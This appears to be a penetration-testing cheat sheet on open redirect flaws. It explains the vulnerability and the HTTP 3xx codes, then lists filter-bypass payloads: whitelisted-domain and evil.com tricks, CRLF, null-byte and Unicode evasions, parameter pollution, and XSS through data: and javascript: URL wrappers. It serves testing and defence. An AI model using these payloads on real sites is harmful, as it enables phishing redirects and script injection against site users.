Open Redirect

Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

HTTP Redirection Status Code

HTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones:

300 Multiple Choices - This indicates that the request has more than one possible response. The client should choose one of them.
301 Moved Permanently - This means that the resource requested has been permanently moved to the URL given by the Location headers. All future requests should use the new URI.
302 Found - This response code means that the resource requested has been temporarily moved to the URL given by the Location headers. Unlike 301, it does not mean that the resource has been permanently moved, just that it is temporarily located somewhere else.
303 See Other - The server sends this response to direct the client to get the requested resource at another URI with a GET request.
304 Not Modified - This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response.
305 Use Proxy - The requested resource must be accessed through a proxy provided in the Location header.
307 Temporary Redirect - This means that the resource requested has been temporarily moved to the URL given by the Location headers, and future requests should still use the original URI.
308 Permanent Redirect - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to change.

Filter Bypass

Using a whitelisted domain or keyword

www.whitelisted.com.evil.com redirect to evil.com

Using CRLF to bypass "javascript" blacklisted keyword

java%0d%0ascript%0d%0a:alert(0)

Using "//" & "////" to bypass "http" blacklisted keyword

//google.com
////google.com

Using "https:" to bypass "//" blacklisted keyword

https:google.com

Using "//" to bypass "//" blacklisted keyword (Browsers see // as //)

\/\/google.com/
/\/google.com/

Using "%E3%80%82" to bypass "." blacklisted character

/?redir=google。com
//google%E3%80%82com

Using null byte "%00" to bypass blacklist filter

//google%00.com

Using parameter pollution

?next=whitelisted.com&next=google.com

Using "@" character, browser will redirect to anything after the "@"

http://www.theirsite.com@yoursite.com/

Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com

Using "?" characted, browser will translate it to "/?"

http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com

Host/Split Unicode Normalization

https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com／X.b.com

XSS from Open URL - If it's in a JS variable

";alert(0);//

XSS from data:// wrapper

http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==

XSS from javascript:// wrapper

http://www.example.com/redirect.php?url=javascript:prompt(1)
